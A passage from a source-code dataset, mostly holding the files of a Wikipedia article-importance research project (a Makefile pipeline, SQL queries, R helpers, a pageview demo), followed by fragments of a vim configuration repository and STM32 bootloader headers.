pl_title;\n\nCREATE UNIQUE INDEX namespace_title\nON staging.proto_inlink_count (page_namespace, page_title);\n\nSELECT\n page.page_id,\n IFNULL(inlink_count.inlinks, 0) AS inlinks,\n redirect.page_id AS redirect_id\nFROM page\nLEFT JOIN staging.proto_inlink_count inlink_count USING\n (page_namespace, page_title)\nLEFT JOIN redirect redirectlink ON\n page_is_redirect AND\n redirectlink.rd_from = page_id\nLEFT JOIN page redirect ON\n redirect.page_title = redirectlink.rd_title AND\n redirect.page_namespace = redirectlink.rd_namespace\nWHERE page.page_namespace = 0;\n" }, { "alpha_fraction": 0.672897219657898, "alphanum_fraction": 0.672897219657898, "avg_line_length": 41.400001525878906, "blob_id": "288f4696be30181142ce84157aad65dceb67d409", "content_id": "dd49df1b66a8204b93594f39174b36a76bd097d8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 214, "license_type": "permissive", "max_line_length": 67, "num_lines": 5, "path": "/README.rst", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "Measuring article importance in Wikipedia\n=========================================\n\nThis project contains scripts and other utilities that support the \nresearch of importance measures for articles in Wikipedia. \n" }, { "alpha_fraction": 0.7168750166893005, "alphanum_fraction": 0.722000002861023, "avg_line_length": 37.27751159667969, "blob_id": "76692192079fcfd71f07a45037510292fe6672e4", "content_id": "c5976cfe7a8677c0b341778b4535ae6659d41d3a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 8000, "license_type": "permissive", "max_line_length": 91, "num_lines": 209, "path": "/Makefile", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "dbstore = -h analytics-store.eqiad.wmnet -u research\n\n\n######################### Importance class #####################################\ndatasets/importance_classification.tsv: sql/importance_classification.sql\n\tcat sql/importance_classification.sql | \\\n\tmysql $(dbstore) enwiki > \\\n\tdatasets/importance_classification.tsv\n\ndatasets/tables/importance_classification.created: \\\n\t\tsql/tables/importance_classification.create.sql\n\tcat sql/tables/importance_classification.create.sql | \\\n\tmysql $(dbstore) enwiki > \\\n\tdatasets/tables/importance_classification.created\n\ndatasets/tables/importance_classification.loaded: \\\n\t\tdatasets/tables/importance_classification.created \\\n\t\tdatasets/importance_classification.tsv\n\tmysql $(dbstore) staging \\\n\t\t-e \"TRUNCATE importance_classification\" && \\\n\tmysqlimport $(dbstore) --local staging --ignore-lines=1 \\\n\t\tdatasets/importance_classification.tsv && \\\n\tmysql $(dbstore) staging \\\n\t\t-e \"SELECT NOW(), COUNT(*) FROM importance_classification\" > \\\n\tdatasets/tables/importance_classification.loaded\n\n######################### Inlink count #########################################\ndatasets/inlink_count.tsv: sql/inlink_count.sql\n\tcat sql/inlink_count.sql | \\\n\tmysql $(dbstore) enwiki > \\\n\tdatasets/inlink_count.tsv\n\t\ndatasets/tables/inlink_count.created: \\\n\t\tsql/tables/inlink_count.create.sql\n\tcat sql/tables/inlink_count.create.sql | \\\n\tmysql $(dbstore) enwiki > \\\n\tdatasets/tables/inlink_count.created\n\ndatasets/tables/inlink_count.loaded: \\\n\t\tdatasets/tables/inlink_count.created \\\n\tdatasets/inlink_count.tsv\n\tmysql $(dbstore) staging \\\n\t\t-e \"TRUNCATE inlink_count\" && \\\n\tmysqlimport $(dbstore) --local staging --ignore-lines=1 \\\n\t\tdatasets/inlink_count.tsv && \\\n\tmysql $(dbstore) staging \\\n\t\t-e \"SELECT NOW(), COUNT(*) FROM inlink_count\" > \\\n\tdatasets/tables/inlink_count.loaded\n\ndatasets/resolved_inlink_count.tsv:\\\n\t\tdatasets/tables/inlink_count.loaded \\\n\t\tsql/resolved_inlink_count.sql\n\tcat sql/resolved_inlink_count.sql | \\\n\tmysql $(dbstore) enwiki > \\\n\tdatasets/resolved_inlink_count.tsv\n\t\ndatasets/tables/resolved_inlink_count.created: \\\n\t\tsql/tables/resolved_inlink_count.create.sql\n\tcat sql/tables/resolved_inlink_count.create.sql | \\\n\tmysql $(dbstore) enwiki > \\\n\tdatasets/tables/resolved_inlink_count.created\n\ndatasets/tables/resolved_inlink_count.loaded: \\\n\t\tdatasets/tables/resolved_inlink_count.created \\\n\t\tdatasets/resolved_inlink_count.tsv\n\tmysql $(dbstore) staging \\\n\t\t-e \"TRUNCATE resolved_inlink_count\" && \\\n\tmysqlimport $(dbstore) --local staging --ignore-lines=1 \\\n\t\tdatasets/resolved_inlink_count.tsv && \\\n\tmysql $(dbstore) staging \\\n\t\t-e \"SELECT NOW(), COUNT(*) FROM resolved_inlink_count\" > \\\n\tdatasets/tables/resolved_inlink_count.loaded\n\ndatasets/organic_link.tsv: importance/extract_organic_links.py\n\t./extract_organic_links \\\n\t\t--api=https://en.wikipedia.org/w/api.php \\\n\t\t--threads=35 \\\n/mnt/data/xmldatadumps/public/enwiki/20141106/enwiki-20141106-pages-articles*.xml-*.bz2 > \\\n\tdatasets/organic_link.tsv\n\ndatasets/tables/organic_link.created: datasets/organic_link.tsv \\\n\t\tsql/tables/organic_link.create.sql\n\t\tcat sql/tables/organic_link.create.sql | \\\n\t\tmysql $(dbstore) enwiki > \\\n\t\tdatasets/tables/organic_link.created\n\ndatasets/tables/organic_link.loaded: \\\n\t\tdatasets/tables/organic_link.created \\\n\t\tdatasets/organic_link.tsv\n\tmysql $(dbstore) staging \\\n\t\t-e \"TRUNCATE organic_link\" && \\\n\tmysqlimport $(dbstore) --local staging --ignore-lines=1 \\\n\t\tdatasets/organic_link.tsv && \\\n\tmysql $(dbstore) staging \\\n\t\t-e \"SELECT NOW(), COUNT(*) FROM organic_link\" > \\\n\tdatasets/tables/organic_link.loaded\n\ndatasets/tables/organic_inlink_count.loaded: datasets/tables/organic_link.loaded\n\tcat sql/tables/organic_inlink_count.create_load.sql | \\\n\tmysql $(dbstore) enwiki > \\\n\tdatasets/tables/organic_inlink_count.loaded\n\ndatasets/resolved_organic_inlink_count.tsv:\\\n\t\tdatasets/tables/organic_inlink_count.loaded \\\n\t\tsql/resolved_organic_inlink_count.sql\n\tcat sql/resolved_organic_inlink_count.sql | \\\n\tmysql $(dbstore) enwiki > \\\n\tdatasets/resolved_organic_inlink_count.tsv\n\t\ndatasets/tables/resolved_organic_inlink_count.created: \\\n\t\tsql/tables/resolved_organic_inlink_count.create.sql\n\tcat sql/tables/resolved_organic_inlink_count.create.sql | \\\n\tmysql $(dbstore) enwiki > \\\n\tdatasets/tables/resolved_organic_inlink_count.created\n\ndatasets/tables/resolved_organic_inlink_count.loaded: \\\n\t\tdatasets/tables/resolved_organic_inlink_count.created \\\n\t\tdatasets/resolved_organic_inlink_count.tsv\n\tmysql $(dbstore) staging \\\n\t\t-e \"TRUNCATE resolved_organic_inlink_count\" && \\\n\tmysqlimport $(dbstore) --local staging --ignore-lines=1 \\\n\t\tdatasets/resolved_organic_inlink_count.tsv && \\\n\tmysql $(dbstore) staging \\\n\t\t-e \"SELECT NOW(), COUNT(*) FROM resolved_organic_inlink_count\" > \\\n\tdatasets/tables/resolved_organic_inlink_count.loaded\n\n######################### Quality classification ###############################\ndatasets/quality_classification.tsv: sql/quality_classification.sql\n\tcat sql/quality_classification.sql | \\\n\tmysql $(dbstore) enwiki > \\\n\tdatasets/quality_classification.tsv\n\t\ndatasets/tables/quality_classification.created: \\\n\t\tsql/tables/quality_classification.create.sql\n\tcat sql/tables/quality_classification.create.sql | \\\n\tmysql $(dbstore) enwiki > \\\n\tdatasets/tables/quality_classification.created\n\ndatasets/tables/quality_classification.loaded: \\\n\t\tdatasets/tables/quality_classification.created \\\n\t\tdatasets/quality_classification.tsv\n\tmysql $(dbstore) staging \\\n\t\t-e \"TRUNCATE quality_classification\" && \\\n\tmysqlimport $(dbstore) --local staging --ignore-lines=1 \\\n\t\tdatasets/quality_classification.tsv && \\\n\tmysql $(dbstore) staging \\\n\t\t-e \"SELECT NOW(), COUNT(*) FROM quality_classification\" > \\\n\tdatasets/tables/quality_classification.loaded\n\n\n########################## Page views ##########################################\ndatasets/page_name_views_dupes.tsv: importance/sum_pageviews.py\n\t./sum_pageviews datasets/hourly_pageviews/pagecounts-201409*.gz \\\n\t\t\t--api=https://en.wikipedia.org/w/api.php\\\n\t\t\t--projects=en > \\\n\tdatasets/page_name_views_dupes.tsv\n\ndatasets/tables/page_name_views_dupes.created: \\\n\t\tsql/tables/page_name_views_dupes.create.sql\n\tcat sql/tables/page_name_views_dupes.create.sql | \\\n\tmysql $(dbstore) enwiki > \\\n\tdatasets/tables/page_name_views_dupes.created\n\ndatasets/tables/page_name_views_dupes.loaded: \\\n\t\tdatasets/tables/page_name_views_dupes.created \\\n\t\tdatasets/page_name_views_dupes.tsv\n\tmysql $(dbstore) staging \\\n\t\t-e \"TRUNCATE page_name_views_dupes\" && \\\n\tmysqlimport $(dbstore) --local staging --ignore-lines=1 \\\n\t\tdatasets/page_name_views_dupes.tsv && \\\n\tmysql $(dbstore) staging \\\n\t\t-e \"SELECT NOW(), COUNT(*) FROM page_name_views_dupes\" > \\\n\tdatasets/tables/page_name_views_dupes.loaded\n\ndatasets/resolved_view_count.tsv:\\\n\t\tdatasets/tables/page_name_views_dupes.loaded \\\n\t\tsql/resolved_view_count.sql\n\tcat sql/resolved_view_count.sql | \\\n\tmysql $(dbstore) enwiki > \\\n\tdatasets/resolved_view_count.tsv\n\t\ndatasets/tables/resolved_view_count.created: \\\n\t\tsql/tables/resolved_view_count.create.sql\n\tcat sql/tables/resolved_view_count.create.sql | \\\n\tmysql $(dbstore) enwiki > \\\n\tdatasets/tables/resolved_view_count.created\n\ndatasets/tables/resolved_view_count.loaded: \\\n\t\tdatasets/tables/resolved_view_count.created \\\n\tdatasets/resolved_view_count.tsv\n\tmysql $(dbstore) staging \\\n\t\t-e \"TRUNCATE resolved_view_count\" && \\\n\tmysqlimport $(dbstore) --local staging --ignore-lines=1 \\\n\t\tdatasets/resolved_view_count.tsv && \\\n\tmysql $(dbstore) staging \\\n\t\t-e \"SELECT NOW(), COUNT(*) FROM resolved_view_count\" > \\\n\tdatasets/tables/resolved_view_count.loaded\n\n######################## Article stats #########################################\ndatasets/article_stats.tsv: sql/article_stats.sql\n\tcat sql/article_stats.sql | \\\n\tmysql $(dbstore) enwiki > \\\n\tdatasets/article_stats.tsv\n\t\ndatasets/article_stats.sample.tsv: datasets/article_stats.tsv\n\t(head -n1 datasets/article_stats.tsv; \\\n\ttail -n+2 datasets/article_stats.tsv | \\\n\tshuf -n 500000) > \\\n\tdatasets/article_stats.sample.tsv\n" }, { "alpha_fraction": 0.5575892925262451, "alphanum_fraction": 0.5625, "avg_line_length": 16.230770111083984, "blob_id": "d3f630bfdb74a6d9cd25cb3218fce7484c9240c8", "content_id": "e58f32c94b58b8c94f3b5452a14c44e0f3cd0dc4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 2240, "license_type": "permissive", "max_line_length": 76, "num_lines": 130, "path": "/R/util.R", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "library(ggplot2)\nlibrary(doBy)\nlibrary(data.table)\n\n\ndata_loader = function(load, ident, cleanup=function(x){x}){\n\tfunction(verbose=T, reload=F){\n\t\tif(!exists(ident, envir=.GlobalEnv) | reload){\n\t\t\tif(verbose){cat(\"Could not find cached\", ident, \"\\n\")}\n\t\t\tassign(ident, NULL, envir=.GlobalEnv)\n\t\t}\n\t\tif(is.null(get(ident, envir=.GlobalEnv))){\n\t\t\tif(verbose){cat(\"Loading\", ident, \"\\n\")}\n\t\t\tassign(ident, load(verbose, reload), envir=.GlobalEnv)\n\t\t}\n\t\tcleanup(get(ident, envir=.GlobalEnv))\n\t}\n}\n\ntsv_loader = function(filename, ident, cleanup=function(x){x}){\n\tdata_loader(\n\t\tfunction(verbose=T, reload=F){\n\t\t\tif(verbose){cat(\"Loading \", filename, \"...\")}\n\t\t\td = read.table(\n\t\t\t\tfilename,\n\t\t\t\theader=T, sep=\"\\t\",\n\t\t\t\tquote=\"\", comment.char=\"\",\n\t\t\t\tna.strings=\"NULL\"\n\t\t\t)\n\t\t\td = data.table(d)\n\t\t\tif(verbose){cat(\"DONE!\\n\")}\n\t\t\td\n\t\t},\n\t\tident,\n\t\tcleanup\n\t)\n}\n\nconvert.factor = function(f, map){\n\tchars = as.character(f)\n\tnew_f = factor(\n\t\tsapply(\n\t\t\tchars,\n\t\t\tfunction(val){\n\t\t\t\tif(is.null(map[[val]])){\n\t\t\t\t\tNA\n\t\t\t\t}else{\n\t\t\t\t\tmap[[val]]\n\t\t\t\t}\n\t\t\t}\n\t\t),\n\t\tlevels=unlist(map)\n\t)\n\tnames(new_f) <- NULL\n\tnew_f\n}\n#convert.factor(factor(c(\"foo\", \"bar\", \"herp\")), list(foo=\"Foo\", bar=\"Bar\"))\n\ngeo.mean = function(x, ...){\n\texp(mean(log(x), ...))\n}\n\ngeo.se.upper = function(x, ...){\n\tlog_mean = mean(log(x), ...)\n\tlog_sd = sd(log(x), ...)\n\tlog_se = log_sd/sqrt(length(x))\n\texp(log_mean + log_se)\n}\ngeo.se.lower = function(x, ...){\n\tlog_mean = mean(log(x), ...)\n\tlog_sd = sd(log(x), ...)\n\tlog_se = log_sd/sqrt(length(x))\n\texp(log_mean - log_se)\n}\n\ngeo.mean.plus.one = function(x, ...){\n\tgeo.mean(x+1, ...)-1\n}\ngeo.se.lower.plus.one = function(x){\n\tgeo.se.lower(x+1)-1\n}\ngeo.se.upper.plus.one = function(x){\n\tgeo.se.upper(x+1)-1\n}\n\nifor = function(x, ifval, orval){\n\tsapply(\n\t\tx,\n\t\tfunction(xval){\n\t\t\tif(xval){\n\t\t\t\tifval\n\t\t\t}else{\n\t\t\t\torval\n\t\t\t}\n\t\t}\n\t)\n}\n\nifna = function(x, then){\n\tsapply(\n\t\tx,\n\t\tfunction(xval){\n\t\t\tif(is.na(xval)){\n\t\t\t\tthen\n\t\t\t}else{\n\t\t\t\txval\n\t\t\t}\n\t\t}\n\t)\n\t\n}\n\nwiki.table = function(dt){\n\tcat(\"{|\\n\")\n\tfor(name in names(dt)){\n\t\tcat(\"! \", name, \"\\n\")\n\t}\n\t\n\tfor(row in 1:dim(dt)[1]){\n\t\trow = c(as.matrix(dt[row]))\n\t\tcat(\"|-\\n\")\n\t\tcat(\"|\", row[1])\n\t\tfor(val in row[2:length(row)]){\n\t\t\tcat(\" || \", val)\n\t\t}\n\t\tcat(\"\\n\")\n\t}\n\t\n\tcat(\"|}\")\n}\n" }, { "alpha_fraction": 0.581250011920929, "alphanum_fraction": 0.581250011920929, "avg_line_length": 34.55555725097656, "blob_id": "580c346f30f5d9907d245378bce1086f4f7e3cd5", "content_id": "0a7a8c970f42f9cda84a43b01033e54fa520369c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 320, "license_type": "permissive", "max_line_length": 58, "num_lines": 9, "path": "/sql/tables/resolved_inlink_count.create.sql", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "CREATE TABLE IF NOT EXISTS staging.resolved_inlink_count (\n page_id INT UNSIGNED,\n inlinks INT,\n direct_inlinks INT,\n inlinks_from_redirects INT,\n redirects INT,\n PRIMARY KEY(page_id)\n);\nSELECT NOW(), COUNT(*) FROM staging.resolved_inlink_count;\n" }, { "alpha_fraction": 0.7675544619560242, "alphanum_fraction": 0.7675544619560242, "avg_line_length": 36.54545593261719, "blob_id": "77170c9699ec980bafd0383148114421dc447e1c", "content_id": "dc5408051d05519ddb4b0e0e82d5c86dbde2ced2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 413, "license_type": "permissive", "max_line_length": 55, "num_lines": 11, "path": "/sql/resolved_organic_inlink_count.sql", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "SELECT\n article.page_id,\n article.inlinks + SUM(redirect.inlinks) AS inlinks,\n article.inlinks AS direct_inlinks,\n SUM(redirect.inlinks) AS inlinks_from_redirects,\n COUNT(redirect.page_id) AS redirects\nFROM staging.organic_inlink_count article\nLEFT JOIN staging.organic_inlink_count redirect ON\n redirect.redirect_id = article.page_id\nWHERE article.redirect_id IS NULL\nGROUP BY article.page_id;\n" }, { "alpha_fraction": 0.692307710647583, "alphanum_fraction": 0.6965035200119019, "avg_line_length": 33.0476188659668, "blob_id": "959742cf76c7fd911569bca3a2796dfec038c570", "content_id": "6cf438486f85f4ce6ef49dc691ab24565f2aabf4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 715, "license_type": "permissive", "max_line_length": 64, "num_lines": 21, "path": "/sql/importance_classification.sql", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "SELECT\n article.page_id,\n article.page_namespace,\n article.page_title,\n cl.cl_to AS category,\n cl.cl_type AS category_type,\n DATE_FORMAT(cl.cl_timestamp, \"%Y%m%d%H%i%S\") AS last_update,\n SUBSTRING_INDEX(cl.cl_to, \"-\", 1) AS importance\nFROM categorylinks cl\nJOIN page talkpage ON\n talkpage.page_namespace = 1 AND\n cl.cl_from = talkpage.page_id\nJOIN page article ON\n article.page_namespace = 0 AND\n article.page_title = talkpage.page_title\nWHERE\n cl.cl_to LIKE \"Top-importance%articles\" OR\n cl.cl_to LIKE \"High-importance%articles\" OR\n cl.cl_to LIKE \"Mid-importance%articles\" OR\n cl.cl_to LIKE \"Low-importance%articles\" OR\n cl.cl_to LIKE \"Unknown-importance%articles\";\n" }, { "alpha_fraction": 0.44216570258140564, "alphanum_fraction": 0.6086956262588501, "avg_line_length": 28.0238094329834, "blob_id": "fb9383160d6e2c7c9f3031da856ba211490c52ae", "content_id": "4dad8d675e0959c2eb410bb03c649c736781f8bf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1219, "license_type": "permissive", "max_line_length": 71, "num_lines": 42, "path": "/demo.pageviews.py", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "from io import StringIO\n\nfrom importance.sum_pageviews import (group_page_hours, read_hour_file,\n sequence_hour_files)\n\nf1 = StringIO(\"\"\"en ! 4 218877\nen !! 3 46992\nen !!! 4 67636\nen !!!Fuck_You!!! 3 38085\nen !!!Fuck_You!!!_And_Then_Some 1 12704\nen !!!Fuck_You!!!_and_Then_Some 3 38073\nen !!!_(Chk_Chk_Chk) 1 16989\nen !!!_(album) 4 46212\nen !!!_(band) 2 33972\nen !!Destroy-Oh-Boy!! 2 55193\"\"\")\nf2 = StringIO(\"\"\"1644170:en !! 1 9002\nen !!! 8 136126\nen !!!Fuck_You!!! 3 25420\nen !!!Fuck_You!!!_And_Then_Some 1 12713\nen !!!Fuck_You!!!_and_Then_Some 1 12691\nen !!!_(Chk_Chk_Chk) 1 16990\nen !!!_(album) 1 11561\nen !!!_(band) 1 16986\nen !!Fuck_you!! 1 12701\nen !!_(disambiguation) 1 9065\"\"\")\nf3 = StringIO(\"\"\"1447809:en ! 4 218877\nen !! 3 46992\nen !!! 4 67636\nen !!!Fuck_You!!! 3 38085\nen !!!Fuck_You!!!_And_Then_Some 1 12704\nen !!!Fuck_You!!!_and_Then_Some 3 38073\nen !!!_(Chk_Chk_Chk) 1 16989\nen !!!_(album) 4 46212\nen !!!_(band) 2 33972\nen !!Destroy-Oh-Boy!! 2 55193\"\"\")\n\nsequenced_hours = sequence_hour_files(\n [read_hour_file(f, ['en']) for f in [f1,f2,f3]])\n\nfor page_name, hours in group_page_hours(sequenced_hours):\n \n print(\"{0} {1}\".format(page_name, list(hours)))\n" }, { "alpha_fraction": 0.6753585338592529, "alphanum_fraction": 0.6792699098587036, "avg_line_length": 32.34782791137695, "blob_id": "25016308b48f7c61298dc4d146fdc7e6d25e8762", "content_id": "c7f494a7131d6fdda11c2fd9fa392ff224ee611b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 767, "license_type": "permissive", "max_line_length": 64, "num_lines": 23, "path": "/sql/quality_classification.sql", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "SELECT\n article.page_id,\n article.page_namespace,\n article.page_title,\n cl.cl_to AS category,\n cl.cl_type AS category_type,\n DATE_FORMAT(cl.cl_timestamp, \"%Y%m%d%H%i%S\") AS last_update,\n SUBSTRING_INDEX(cl.cl_to, \"-\", 1) AS quality_class\nFROM categorylinks cl\nJOIN page talkpage ON\n talkpage.page_namespace = 1 AND\n cl.cl_from = talkpage.page_id\nJOIN page article ON\n article.page_namespace = 0 AND\n article.page_title = talkpage.page_title\nWHERE\n cl.cl_to LIKE \"FA-Class%articles\" OR\n cl.cl_to LIKE \"A-Class%articles\" OR\n cl.cl_to LIKE \"GA-Class%articles\" OR\n cl.cl_to LIKE \"B-Class%articles\" OR\n cl.cl_to LIKE \"C-Class%articles\" OR\n cl.cl_to LIKE \"Stub-Class%articles\" OR\n cl.cl_to LIKE \"Start-Class%articles\";\n" }, { "alpha_fraction": 0.7184466123580933, "alphanum_fraction": 0.7184466123580933, "avg_line_length": 50.5, "blob_id": "6182bc87576720414dfe01f5cac4e739501984c9", "content_id": "941eec761c5e1c8f8fdf10717cfd3bd40976edfd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 103, "license_type": "permissive", "max_line_length": 92, "num_lines": 2, "path": "/extract_organic_links", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "#!/bin/sh\npython -c \"from importance import extract_organic_links; extract_organic_links.main();\" \"$@\"\n" }, { "alpha_fraction": 0.7180205583572388, "alphanum_fraction": 0.7282913327217102, "avg_line_length": 31.454545974731445, "blob_id": "9a35f35989420bf6abae66117fc808722df7052c", "content_id": "1b0cff84d51ad0a24b44e7997c1606db8f05e05b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 1071, "license_type": "permissive", "max_line_length": 76, "num_lines": 33, "path": "/sql/resolved_view_count.sql", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "CREATE TEMPORARY TABLE staging.view_count\nSELECT\n page_id,\n views\nFROM (\n SELECT\n page_namespace,\n page_title,\n SUM(views) AS views\n FROM staging.page_name_views_dupes\n WHERE page_namespace = 0\n GROUP BY 1,2\n) AS group_page_name_views\nINNER JOIN enwiki.page USING (page_namespace, page_title);\n\nCREATE TEMPORARY TABLE staging.view_count2 SELECT * FROM staging.view_count;\nCREATE UNIQUE INDEX page_id ON staging.view_count2 (page_id);\n\nSELECT\n article.page_id,\n IFNULL(direct.views, 0) + IFNULL(SUM(redirected.views), 0) AS views,\n IFNULL(direct.views, 0) AS direct_views,\n IFNULL(SUM(redirected.views), 0) AS views_from_redirects,\n COUNT(redirected.page_id) AS redirects\nFROM enwiki.page article\nLEFT JOIN staging.view_count direct ON\n direct.page_id = article.page_id\nLEFT JOIN staging.inlink_count redirect_info ON\n redirect_info.redirect_id = article.page_id\nLEFT JOIN staging.view_count2 redirected ON\n redirected.page_id = redirect_info.page_id\nWHERE article.page_namespace = 0\nGROUP BY direct.page_id;\n" } ]
30
Thealltommo/Average_Height_Calculator
https://github.com/Thealltommo/Average_Height_Calculator
f14b215b10c6813537e344fe4fbe085d988188f3
1f79053d899fd81246f41a630ed7423aca5285d1
1d1eefce98709191f055ae44f99d760e3ccc7e1c
refs/heads/main
2023-02-08T22:57:44.121745
2021-01-01T10:32:38
2021-01-01T10:32:38
325,958,326
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7221134901046753, "alphanum_fraction": 0.7299413084983826, "avg_line_length": 32.93333435058594, "blob_id": "fa155049a1a523d3b94c4cc94494a41465e2a10b", "content_id": "6bf76ac05a9d52a67aef9392e526fcac148d1c7a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 511, "license_type": "no_license", "max_line_length": 83, "num_lines": 15, "path": "/main.py", "repo_name": "Thealltommo/Average_Height_Calculator", "src_encoding": "UTF-8", "text": "student_heights = input(\"Input a list of student heights \").split()\nfor n in range(0, len(student_heights)):\n student_heights[n] = int(student_heights[n])\nprint(student_heights)\n\n\ntotal_height = 0\nfor height in student_heights:\n total_height = total_height + height\nprint(\"The total heights added is .... \", total_height)\n\nnumber_of_students = 0\nfor student in student_heights:\n number_of_students = number_of_students +1\nprint(\"The average height of the students is... \", total_height/number_of_students)\n\n\n" }, { "alpha_fraction": 0.8269230723381042, "alphanum_fraction": 0.8269230723381042, "avg_line_length": 51, "blob_id": "2c0a9bd34360fda49030aac0f5549c81e1276ee4", "content_id": "6b785ff9841bb23fbb7f0d1c18f97ed8c3347f43", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 104, "license_type": "no_license", "max_line_length": 75, "num_lines": 2, "path": "/README.md", "repo_name": "Thealltommo/Average_Height_Calculator", "src_encoding": "UTF-8", "text": "# Average_Height_Calculator\nCreate an average height calculator without using the len or sum functions.\n" } ]
2
mgsir/vim-configuration
https://github.com/mgsir/vim-configuration
37c47c3a425c2051e749cb16dbda1f842732e36f
17ae6d645a8cdcda40360bbb4f732c64c93b8281
258209ff53cb58264478c43f3edf1877fb729287
refs/heads/master
2022-11-11T19:36:57.818635
2020-06-24T04:42:08
2020-06-24T04:42:08
255,785,169
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.759036123752594, "alphanum_fraction": 0.759036123752594, "avg_line_length": 81, "blob_id": "1275695ecb664d3badbc195c8a44b9fc762672e2", "content_id": "0567db5f4ccc2dacde04c24c7505706ff4889e14", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 83, "license_type": "no_license", "max_line_length": 81, "num_lines": 1, "path": "/README.md", "repo_name": "mgsir/vim-configuration", "src_encoding": "UTF-8", "text": "### this is vim-configuration from theniceboy. I just change it for proper using.\n\n" }, { "alpha_fraction": 0.46464645862579346, "alphanum_fraction": 0.4747474789619446, "avg_line_length": 16.636363983154297, "blob_id": "ba19282c0e26d0ceac8a712874a3c9616359c71f", "content_id": "b8be170b1255ea56e9a9a37c81c1e25edebdc25d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 198, "license_type": "no_license", "max_line_length": 27, "num_lines": 11, "path": "/asd.py", "repo_name": "mgsir/vim-configuration", "src_encoding": "UTF-8", "text": "\n\nclass Flight():\n def __init__(self,x,y):\n self.x = x;\n self.y = y;\n def getX(self):\n return self.x;\n def getY(self):\n return self.y;\n\n\nflight = Flight(3,2);\n\n\n" } ]
2
freeman-m/FKF429-Bootloader
https://github.com/freeman-m/FKF429-Bootloader
3a12a48dabe3dc209db8eabc0f565d50185aa4ce
49647feee1989588caf979cf229d686a218ea9f9
3481ce0e6658fb48aeed916b4855fdb90498d1a3
refs/heads/master
2022-04-15T08:09:17.817145
2020-04-10T06:43:14
2020-04-10T06:43:14
254,562,627
3
2
null
null
null
null
null
[ { "alpha_fraction": 0.552742600440979, "alphanum_fraction": 0.6118143200874329, "avg_line_length": 23.947368621826172, "blob_id": "899b30da95a03fa7d090f36136051d637e32502f", "content_id": "65447b1b06ec52992317a960aaa279b7ae1ac8bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 948, "license_type": "no_license", "max_line_length": 77, "num_lines": 38, "path": "/board/ports/lcd_port.h", "repo_name": "freeman-m/FKF429-Bootloader", "src_encoding": "UTF-8", "text": "/*\n * Copyright (c) 2006-2018, RT-Thread Development Team\n *\n * SPDX-License-Identifier: Apache-2.0\n *\n * Change Logs:\n * Date Author Notes\n * 2019-01-08 zylx first version\n */\n\n#ifndef __LCD_PORT_H__\n#define __LCD_PORT_H__\n\n/* armfly 5 inch screen, 800 * 480 */\n#define LCD_WIDTH 480\n#define LCD_HEIGHT 272\n#define LCD_BITS_PER_PIXEL 16\n#define LCD_BUF_SIZE (LCD_WIDTH * LCD_HEIGHT * LCD_BITS_PER_PIXEL / 8)\n#define LCD_PIXEL_FORMAT RTGRAPHIC_PIXEL_FORMAT_RGB565\n#define LCD_HSYNC_WIDTH 41\n#define LCD_VSYNC_HEIGHT 10\n#define LCD_HBP 2\n#define LCD_VBP 2\n#define LCD_HFP 2\n#define LCD_VFP 2\n\n//#define LCD_BACKLIGHT_USING_PWM\n#define\tLCD_BACKLIGHT_USING_GPIO\n\n#define\tLCD_BL_GPIO_NUM\t\tGET_PIN(D, 13)\n\n#define LCD_PWM_DEV_NAME \"pwm2\"\n#define LCD_PWM_DEV_CHANNEL 1\n/* armfly 5 inch screen, 800 * 480 */\n\n\n\n#endif /* __LCD_PORT_H__ */\n" }, { "alpha_fraction": 0.4136449098587036, "alphanum_fraction": 0.4829438626766205, "avg_line_length": 43.32143020629883, "blob_id": "bf4c8325a1f0d7740a63d5d55f302c6e7beb5cdf", "content_id": "819ca77cf80373ff05669ac168052e3df8a2e9ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3723, "license_type": "no_license", "max_line_length": 125, "num_lines": 84, "path": "/board/ports/fal_cfg.h", "repo_name": "freeman-m/FKF429-Bootloader", "src_encoding": "UTF-8", "text": "/*\n * Copyright (c) 2006-2018, RT-Thread Development Team\n *\n * SPDX-License-Identifier: Apache-2.0\n *\n * Change Logs:\n * Date Author Notes\n * 2018-12-5 SummerGift first version\n */\n\n#ifndef _FAL_CFG_H_\n#define _FAL_CFG_H_\n\n#include <rtthread.h>\n#include <board.h>\n\n#if 1\n#define NOR_FLASH_SPI_DEV_NAME 